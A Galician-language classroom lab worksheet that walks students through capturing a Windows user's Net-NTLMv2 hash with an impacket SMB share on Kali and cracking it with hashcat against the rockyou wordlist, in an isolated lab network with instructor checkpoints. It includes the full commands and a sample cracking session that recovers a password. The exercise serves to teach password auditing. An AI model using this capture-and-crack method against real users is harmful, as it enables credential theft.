

TALLER SI – PRÁCTICA 18

NÚMERO DE GRUPO	FUNCIONES	Apellidos, Nome
	Coordinador/a:	
	Responsable Limpeza:	
	Responsable Documentación:	


ESCENARIO:

Hosts Alumnado: A, B, C
 ↳ Rede Local
 ↳ Máquina virtual

Máquinas virtuais:
 ↳ Host

Máquinas virtuais GNU/Linux:
 RAM ≤ 4096MB
 ISO: Kali Live amd64
 Rede: eth0 → NAT, IP/MS: 10.0.2.15/24
 eth1 → Bridge, IP/MS: 10.10.10.10/8
 BIOS: Permite arranque dispositivo extraíble: CD/DVD, USB

Máquinas virtuais Microsoft Windows:
 RAM ≤ 2048MB
 Disco duro: Windows amd64
 Rede: Bridge
 IP/MS: 10.XY.XY.XY/8
 Usuario: alumnoXY
 Contrasinal: Por un contrasinal existente no diccionario rockyou



LIMITACIÓN DE RESPONSABILIDADE O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Por tanto, non se fai responsable en ningún caso, nin pode ser considerado legalmente responsable en ningún caso, das consecuencias que poidan derivarse da información contida nel ou que esté enlazada dende ou hacia el, incluíndo os posibles erros e información incorrecta existentes, información difamatoria, así como das consecuencias que se poidan derivar sobre a súa aplicación en sistemas de información reais e/ou virtuais. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.

Material necesario	Práctica: Auditar contrasinal usuarios: Net-NTLMv2
<ul style="list-style-type: none"> ■ Hosts alumnado ■ Regleta ■ Switch 5-Port Gigabit ■ Máquinas virtuales MS Windows ■ Máquinas virtuales GNU/Linux Kali ■ [1] impacket ■ [2] smbserver ■ [3] Práctica SI AD Enumeración ■ [4] hashcat ■ [5] wordlists 	<p>Hosts alumnado:</p> <ol style="list-style-type: none"> Máquinas virtuales GNU/Linux Kali amd64: <ul style="list-style-type: none"> ■ Crear seguindo especificacións do escenario. ■ Arrancar ■ Configurar a rede según o escenario ■ Xerar recurso compartido TMP [1][2] Máquinas virtuales MS Windows amd64: <ul style="list-style-type: none"> ■ Crear seguindo especificacións do escenario. ■ Arrancar ■ Configurar a rede según o escenario. ■ Acceder ao recurso compartido TMP Máquinas virtuales GNU/Linux: <ul style="list-style-type: none"> ■ Recoller hash Net-NTLMv2 do usuario conectado ao recurso compartido. ■ Auditar hash con hashcat e ataque por diccionario (rockyou).

Procedemento:

(1) Host B alumnado. Máquina virtual GNU/Linux Kali:

- (a) Crear e arrancar unha máquina virtual no HostB do alumnado coas seguintes características (ver escenario):
- RAM ≥ 4096MB
 - CPU ≥ 2
 - PAE/NX habilitado
 - Rede: 2 tarxetas de rede,
 - eth0 → NAT
 - eth1 → Bridge
 - ISO: Kali Live amd64
 - Nome: Practica-Kali-Auditar-Net-NTLMv2-HostB

- (b) O xestor de redes NetworkManager está habilitado. Por defecto, está xerada unha conexión da interface eth0 solicitando a configuración de rede mediante DHCP, e como temos a tarxeta eth0 en modo NAT deberíamos obter a IP 10.0.2.15 e ter conexión a Internet. Así, executar nunha consola:

```
$ setxkbmap es #Configurar teclado en español  
$ ip addr show #Amosar información sobre as NIC existentes no sistema, é dicir, verificar a configuración de rede para as NIC: lo, eth0 e eth1  
$ ip addr show eth0 #Amosar información sobre a NIC eth0. Verificar que a configuración de rede para a NIC eth0 é a seguinte: IP=10.0.2.15, MS=255.255.255.0  
$ ip route #Ver a táboa de rutas do sistema. Verificar que GW=10.0.2.2  
$ cat /etc/resolv.conf #Ver o contido do ficheiro /etc/resolv.conf, o cal contén a configuración os servidores DNS a empregar para a resolución de nomes. Comprobar que as directivas nameserver coinciden cos DNS1 e DNS2 da aula taller.
```

- (c) Clonar repositorio impacket [1]. Executar na anterior consola:

```
$ git clone https://github.com/SecureAuthCorp/impacket.git #Clonar o repositorio impacket
```

(2) Conectar no mesmo segmento de rede os hosts do alumnado.

- Conectar a regleta á corrente eléctrica na vosa zona de traballo.
- Conectar o switch á regleta.
- Conectar os vosos equipos de alumnado ao switch.
- Non conectar o switch á roseta da aula.

(3) Host B alumnado. Máquina virtual GNU/Linux Kali:

- (a) Imos xerar unha configuración de rede manual e modificar a táboa de enrutamento. Así, executar na consola anterior:

```
$ sudo su - #Acceder á consola de root(administrador) a través dos permisos configurados co comando sudo (/etc/sudoers, visudo)  
# /etc/init.d/avahi-daemon stop #Parar o demo avahi-daemon(control resolución de nomes) para poder configurar de forma manual a configuración de rede e non ter conflicto con este demo.  
# /etc/init.d/network-manager stop || pkill NetworkManager #Parar o demo network-manager(xestor de rede) ou o script NetworkManager (executado sen ser demo) para poder configurar doutro xeito (co comando ip(ifconfig) de forma manual ou mediante networking (ficheiros /etc/init.d/networking, /etc/init.d/networking.d) a configuración de rede e non ter conflicto con este xestor.  
# ip route #Ver a táboa de rutas do sistema  
# ip link show eth0 #Amosar información sobre a NIC eth0. Identificar a MAC Address (link/ether)  
# ip link set down dev eth0 #Deshabilitar a NIC eth0  
# ip route #Ver a táboa de rutas do sistema  
# ip addr add 10.10.10.10/8 dev eth1 #Configurar a tarxeta de rede eth1, coa IP: 10.10.10.10 e máscara de subrede: 255.0.0.0  
# ip addr show eth1 #Amosar información sobre a NIC eth1. Verificar a configuración de rede para a NIC eth1  
# exit #Sair da shell  
$
```

(b) Crear un recurso compartido [1][2]. Executar na anterior consola:

```
$ cd impacket/examples #Acceder ao cartafol impacket/examples  
$ mkdir /tmp/compartirTemporal #Crear o cartafol compartirTemporal  
$ echo 'Auditando...' > /tmp/compartirTemporal/compartido.txt #Crear o ficheiro  
compartido co contido Auditando... no cartafol /tmp/compartirTemporal  
$ sudo python3 smbserver.py TMP /tmp/compartirTemporal -smb2support #Xerar o  
recurso compartido, é dicir, o cartafol /tmp/compartirTemporal será accesible a través da ruta \\  
10.10.10.10\TMP
```

(c) Avisar ao docente para revisión. ₁

(4) Host A e C do alumnado. Máquinas virtuais MS Windows amd64:

(a) Crear unha máquina virtual no HostA e HostC do alumnado coas seguintes características (ver escenario):

- i. RAM ≥ 2048MB
- ii. CPU ≥ 2
- iii. PAE/NX habilitado
- iv. Rede: Soamente unha tarxeta activada en modo Bridge.
- v. Sistema operativo instalado: Windows amd64
- vi. Nome: Practica-Windows-Auditar-Net-NTLMv2-AlumnoXY *NOTA: XY corresponde ao número do voso usuario, por exemplo o usuario 09, escribirá: Practica-Windows-Auditar-Net-NTLMv2-Alumno09*

(b) Arrancar cada máquina virtual.

(c) Facer login cun usuario con permisos de administrador.

(d) Crear o usuario según o escenario. Abrir unha consola como administrador e executar:

```
> net user alumnoXY contrasinal-rockyou /add
```

NOTA: XY corresponde ao número do voso usuario, por exemplo o usuario 09, escribirá: alumno09. O contrasinal xerado para ese usuario (contrasinal-rockyou) é un contrasinal calquera que exista no diccionario rockyou. Escollede o contrasinal que queirades.

(e) Configurar a rede según o escenario.

NOTA: XY corresponde ao número do voso usuario, por exemplo para o usuario 09: IP= 10.9.9.9, MS=255.0.0.0

(f) Abrir unha consola e executar:

```
> systeminfo #Amosar información de configuración detallada sobre o equipo e o seu sistema operativo  
> ipconfig /all #Amosar a configuración TCP/IP completa de todas as interfaces de rede.
```

(g) Avisar ao docente para a revisión. ₂

(h) Pregar a sesión e acceder co usuario alumnoXY.

(i) Acceder ao recurso compartido. Executar nunha consola:

```
> copy \\10.10.10.10\TMP\compartido.txt . #Copiar o arquivo compartido.txt da máquina virtual  
GNU/Linux Kali do hostB á ruta actual da máquina MS Windows que executa o comando.
```

(j) Verificar que na máquina GNU/Linux Kali aparece o establecimiento de conexión e o hash Net-NTLMv2.

(k) Avisar ao docente para a revisión. ₃

(5) Host B alumnado. Máquina virtual GNU/Linux Kali:

(a) Copiar o hash NTLMv2 ao arquivo hash.txt. Por exemplo:

```
$ echo 'alumno09::PCWINDOWS:aa...aaa:1e6b8cb17...000000' >> hash.txt
```

(b) Auditar ese ficheiro hash mediante hashcat [3][4].

```
$ hashcat -a 0 -m 5600 hash.txt /usr/share/wordlists/rockyou.txt.gz -o cracked.txt  
#MODE: 5600, TYPE: NetNTLMv2  
hashcat (v6.2.5) starting  
...  
Dictionary cache built:  
* Filename...: /usr/share/wordlists/rockyou.txt.gz  
* Passwords.: 14344392  
* Bytes.....: 139921507  
* Keyspace..: 14344385  
* Runtime...: 3 secs
```

```
Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 5600 (NetNTLMv2)
Hash.Target....: ALUMNO09::PCWINDOWS:aaaaaaaaaaaaaaaa:1e6b8cb17...000000
Time.Started....: Mon Nov 14 13:16:44 2022 (0 secs)
Time.Estimated...: Mon Nov 14 13:16:44 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 283.3 KH/s (0.73ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests
Progress.....: 43520/14344385 (0.30%)
Rejected.....: 0/43520 (0.00%)
Restore.Point....: 43008/14344385 (0.30%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: hangten -> 021007
Hardware.Mon.#1..: Util: 55%
```

Started: Mon Nov 14 13:15:57 2022
Stopped: Mon Nov 14 13:16:47 2022
\$ cat cracked.txt

ALUMNO09::PCWINDOWS:aaaaaaaaaaaaaaaa:1e6b8cb17...000000:abc123. → **Contraseña atopada**

(6) Avisar ao docente para revisión e entrega da práctica. ₄

Revisión:

¹ ² ³ ⁴